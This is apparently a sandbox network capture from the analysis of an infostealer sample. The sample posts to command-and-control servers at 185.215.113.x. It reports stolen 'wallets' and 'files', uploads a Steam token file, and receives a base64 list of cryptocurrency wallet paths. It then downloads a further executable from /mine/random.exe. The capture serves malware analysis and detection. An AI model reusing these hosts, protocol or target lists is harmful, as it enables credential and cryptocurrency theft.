00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 10, 2024 02:50:40.817214966 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 02:50:41.253401041 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 10, 2024 02:50:41.703960896 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:50:42.802825928 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:42.864161015 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"wallets------HJEBGHIEBFIJKECBKFHD--
Dec 10, 2024 02:50:43.302546024 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 10, 2024 02:50:43.305083990 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 2d 2d 0d 0a Data Ascii: ------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="message"files------GIJECGDGCBKECAKFBGCA--
Dec 10, 2024 02:50:43.743264914 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:43.756908894 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file"------GDHIDHIEGIIIECAKEBFB--
Dec 10, 2024 02:50:44.678914070 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:44.706192970 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="message"ybncbhylepme------ECFHJKEBAAECBFHIECGI--
Dec 10, 2024 02:50:45.149950027 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49798	185.215.113.16	80	7096	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:50:45.274190903 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 10, 2024 02:50:46.605254889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:50:46 GMT Content-Type: application/octet-stream Content-Length: 3293184 Last-Modified: Tue, 10 Dec 2024 01:22:43 GMT Connection: keep-alive ETag: "675797e3-324000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP2@22@Wk12D12 @.rsrc@.idata @hjzxticg++@ugypvtkj@22@.taggant0P2"2@
Dec 10, 2024 02:50:46.605382919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:46.605396986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:46.605834007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:46.605845928 CET	896	IN	Data Raw: 94 26 0f 05 ac d7 17 c3 e4 bb 54 ab e5 a3 6c 95 bd e7 c4 22 d3 66 c3 3a 4c 66 88 49 b8 39 c8 a2 f4 27 0f 05 ac f7 16 c3 e4 bb 74 ab e5 a3 6c 35 bd e7 c4 22 b3 66 c3 3a 4c 66 88 49 b8 39 c0 a2 04 27 0f 05 ac 87 2a c3 e4 bb 14 ab e5 a3 6c d5 ba e7 Data Ascii: &Tl"f:LfI9'tl5"f:LfI9'*l"f:LfI9<'4lu"sf:LfI9 'w+l"Sf:LfI9`'O+l"3f:LfI9p'lU"f:LfI9\|'l
Dec 10, 2024 02:50:46.605856895 CET	1236	IN	Data Raw: c4 24 0f 05 ac 2f 16 c3 e4 bb d4 af e5 a3 6c 15 b3 e7 c4 22 53 63 c3 3a 4c 66 88 49 b8 39 c0 a2 dc 24 0f 05 ac 37 11 c3 e4 bb f4 af e5 a3 6c b5 b0 e7 c4 22 33 63 c3 3a 4c 66 88 49 b8 39 c0 a2 d4 24 0f 05 ac 0b 1e c3 e4 bb 94 af e5 a3 6c 55 b0 e7 Data Ascii: $/l"Sc:LfI9$7l"3c:LfI9$lU"c:LfI9$l"c:LfI9%(Tl"b:LfI9%[tl5"b:LfI9%)l"b:LfI9%g4lu
Dec 10, 2024 02:50:46.605868101 CET	1236	IN	Data Raw: 93 6e c3 3a 4c 66 88 49 b8 39 34 ad d0 5a 0f 05 ac 23 1f c3 e4 bb 34 a3 e5 a3 6c 75 c2 e7 c4 22 73 6e c3 3a 4c 66 88 49 b8 39 c0 a2 fc 5b 0f 05 ac 33 1e c3 e4 bb d4 a0 e5 a3 6c 15 c2 e7 c4 22 53 6e c3 3a 4c 66 88 49 b8 39 c0 a2 f4 5b 0f 05 ac d7 Data Ascii: n:LfI94Z#4lu"sn:LfI9[3l"Sn:LfI9[l"3n:LfI9[olU"n:LfI9H[l"n:LfI9\[OTl"i:LfI9[/)tl5"i:LfI9[
Dec 10, 2024 02:50:46.606651068 CET	1236	IN	Data Raw: e4 bb 74 a4 e5 a3 6c 35 d4 e7 c4 22 b3 75 c3 3a 4c 66 88 49 b8 39 10 ad 6c 5f 0f 05 ac 47 17 c3 e4 bb 14 a4 e5 a3 6c d5 d5 e7 c4 22 93 75 c3 3a 4c 66 88 49 b8 39 c0 a2 94 5f 0f 05 ac 9f 2a c3 e4 bb 34 a4 e5 a3 6c 75 d5 e7 c4 22 73 75 c3 3a 4c 66 Data Ascii: tl5"u:LfI9l_Gl"u:LfI9_*4lu"su:LfI9<_l"Su:LfI9_l"3u:LfI9__lU"u:LfI;6 I;6 I;6 I9_d
Dec 10, 2024 02:50:46.606662989 CET	1236	IN	Data Raw: b8 14 49 29 5a a2 6b 1d 7c e7 c4 a6 85 a3 c4 3a e7 13 a3 11 07 e5 c4 f7 a1 13 b7 c0 d0 07 a1 05 e7 a3 c4 89 21 db 8d c0 e8 a3 c4 3a e7 13 ec a1 75 a0 c4 4e b8 9f f7 49 b8 9f f7 49 b8 9f f7 49 b8 14 49 29 63 bf 37 88 39 b7 eb f7 e7 a2 c4 ad e0 a3 Data Ascii: I)Zk\|:!:uNIIII)c79x;>II)N^NcsAzt-:bgC7^Ia:IIII)N^NcsAzt-:bgCo^Ia:III}H4{^
Dec 10, 2024 02:50:46.606674910 CET	1236	IN	Data Raw: 08 15 a3 11 07 e5 c4 f7 a1 13 b7 c0 d0 07 a1 05 e7 a3 c4 8f d5 58 5f 35 5a a3 6c ae 65 e4 c4 89 39 8b 4a b0 d4 9a 0e 2d e4 a3 c4 3a be e4 e8 0a e7 a3 c4 40 21 8b c3 22 55 0a c3 3a 78 e4 fc 42 21 af c3 3a e7 a3 74 3a 51 df 49 4b e7 34 cc 22 3d ac Data Ascii: X_5Zle9J-:@!"U:xB!:t:QIK4"=:{R{{`C?:UI&`AE&nr& IC{}:{{fGq"NIII)N^_{sAx5IXz4?IB eIa
Dec 10, 2024 02:50:46.724677086 CET	1236	IN	Data Raw: 9c a0 c4 87 a0 db 49 43 46 0c 82 01 e7 9f f7 49 b8 9f f7 49 b8 9f f7 49 b8 14 49 29 7b e4 cc d0 7b b0 8c 03 db c9 0f 05 7c e5 c0 89 3e df 74 42 fe ab 39 c0 e4 9a 0d 0d e2 a3 c4 3a df c2 b5 04 e7 5c 0e f1 5a a1 74 2d 4c 4b c3 3a 62 67 c8 40 3e 07 Data Ascii: ICFIIII){{\|>tB9:\Zt-LK:bg@>C>;:ICFIII4yB9:>t-]:bgC9IIII)N^>7vSjNbAA^Ia:I)Zkz:A)~$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49818	185.215.113.206	80	7096	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:50:52.171386003 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKFBAKFCBFHIJJJJDBFC--
Dec 10, 2024 02:50:53.995142937 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49847	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:04.042361021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 10, 2024 02:51:05.383074999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:51:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49853	185.215.113.43	80	7884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:51:07.006620884 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
